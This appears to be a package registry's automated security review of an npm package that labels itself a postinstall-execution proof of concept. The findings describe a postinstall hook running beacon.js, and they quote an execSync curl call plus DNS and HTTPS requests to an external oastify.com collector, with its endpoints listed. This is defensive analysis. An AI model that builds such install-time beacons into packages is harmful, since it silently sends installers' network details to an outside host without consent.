registry / @jacksher/install-exec-poc / 1.0.2

@jacksher/install-exec-poc@1.0.2

Own-scope PoC: demonstrates npm postinstall auto-executes on install. Runs only on the reporter's own machine.

AI Security Review

scanned 5d ago · by lpm-firewall-ai

Installing the package automatically runs a network beacon. The lifecycle script uses a shell command plus DNS and HTTPS requests to an external OAST host.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install (postinstall)

Impact

Installation causes undisclosed outbound requests and executes curl.

Mechanism

unconsented install-time shell, DNS, and HTTPS beaconing

Attack narrative

On npm install, package.json runs beacon.js. That script silently runs curl against an external OAST host, resolves the same host by DNS, and sends an HTTPS request. These actions occur without a user command or disclosed operational need; the bundled archive contains a prior version with the same postinstall beacon pattern.

Rationale

Direct source inspection confirms unconsented install-time remote beaconing and shell execution. The claimed PoC purpose does not remove the concrete behavior affecting every installer.

Evidence

package.jsonbeacon.jsjacksher-install-exec-poc-1.0.0.tgz

Network endpoints3

jobzq12beck611luewfsf8yyepkg86wv.oastify.com/cijobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-firedjobzq12beck611luewfsf8yyepkg86wv.oastify.com

OSV Corroboration

package.json declares `postinstall: node beacon.js`. On every `npm install`, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to `https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired`, and `child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'})` against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's machine to emit out-of-band DNS and HTTP traffic to an attacker-controlled OAST collector, disclosing the installer's public IP and resolver metadata. The use of `execSync` to shell out to `curl` at postinstall also establishes an install-time shell-to-network primitive on the installer's host. The package name (`install-exec-poc`) self-labels as a proof-of-concept, but the behavior fires on any consumer who installs the package.

@jacksher/install-exec-poc@1.0.2

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code